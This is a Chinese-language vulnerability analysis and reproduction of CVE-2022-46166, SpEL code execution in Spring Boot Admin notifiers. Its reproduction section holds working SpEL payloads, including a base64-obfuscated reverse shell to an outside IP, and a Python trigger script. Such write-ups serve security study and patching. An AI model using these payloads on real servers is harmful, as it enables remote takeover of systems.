Spring_Boot_Admins_integrated_notifier_support_SpEL远程代码执行(CVE-2022-46166)
Spring_Boot_Admins_integrated_notifier_support_SpEL远程代码执行(CVE-2022-46166)
1 漏洞简介
Spring Boot Admin
是一个用于管理Spring Boot
应用程序的开源管理用户界面,用于监控Spring Boot
单机或集群项目,它提供详细的健康信息、内存信息、JVM系统和环境属性、垃圾回收信息、日志设置和查看、定时任务查看、Spring Boot缓存查看和管理等功能。
当Spring Boot Admin
管理的application
中启用了notifier
,并且存在弱口令或者未授权时,攻击者可利用相关接口设置相关配置,触发SpEL
表达式,执行任意命令。
所有运行 Spring Boot Admin Server
、启用通知程序(例如 Teams-Notifier
)并通过 UI 写入环境变量的用户都会受到影响。 建议用户升级到最新版本的 Spring Boot Admin 2.6.10 和 2.7.8 以解决此问题。 无法升级的用户可以禁用任何通知程序或禁用 /env
执行器端点上的写访问(POST 请求)。
2 影响范围
2.6.0 ≤ Spring Boot Admin < 2.6.10
2.7.0 ≤ Spring Boot Admin < 2.7.8
3.0.0 ≤ Spring Boot Admin < 3.0.0-M6
3 环境搭建
4 漏洞分析
server
端的详细信息页面
可以看到这里是可以修改相应客户端的环境变量信息的,当然这里我是把server
端自己注册为自己的client
端,实现自己监控自己,同时也可以修改server
端自己的环境变量。
然后跟进getValue
方法,这里是CompositeStringExpression
类下的getValue
方法,调用栈如下
然后注意到这里的默认评估表达式其实就是一个SpEl
表达式
继续跟进DingTalkNotifier
可以看到这里的content
已经调用刚才的SpEL
表达式进行了解析,那我们有没有办法控制刚才的SpEL
表达式呢?
答案是有的
没错,就是刚才我们看到的server
端的环境变量页面。我们可以修改server端的环境变量,把钉钉消息通知的模板改为我们指定的内容,这里自然是要改成我们特定的SpEL
表达式。
接下来我们实践一下
修改server
端的环境变量
这里我们把spring.boot.admin.notify.dingtalk.message
的属性值改为了\#{2*2}
接下来再次使用Python
模拟注册客户端并触发通知,然后跟进我们的断点
可以看到这里我们在环境变量中配置的SpEL
表达式已经被解析为了4
,也就是2*2
的计算结果。
所以这里其实就是一种触发的方式
5 漏洞复现
这里我们把spring.boot.admin.notify.dingtalk.message
的属性值改为了
#{T(java.lang.Runtime).getRuntime().exec("calc")}
1
2
#{T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTEzLjI1MC85MDAyIDA+JjE=}|{base64,-d}|{bash,-i}")}
触发脚本:
import requests
url = "http://127.0.0.1:8080/instances"
data = {
"name": "client",
"managementUrl": "http://127.0.0.1:8444/actuator", "healthUrl": "http://127.0.0.1:8444/actuator/health",
"serviceUrl": "http://127.0.0.1:8444", "metadata": {"startup": "2023-05-16T19:47:50.9381867+08:00"}
}
response = requests.post(url, json=data)
print(response.text)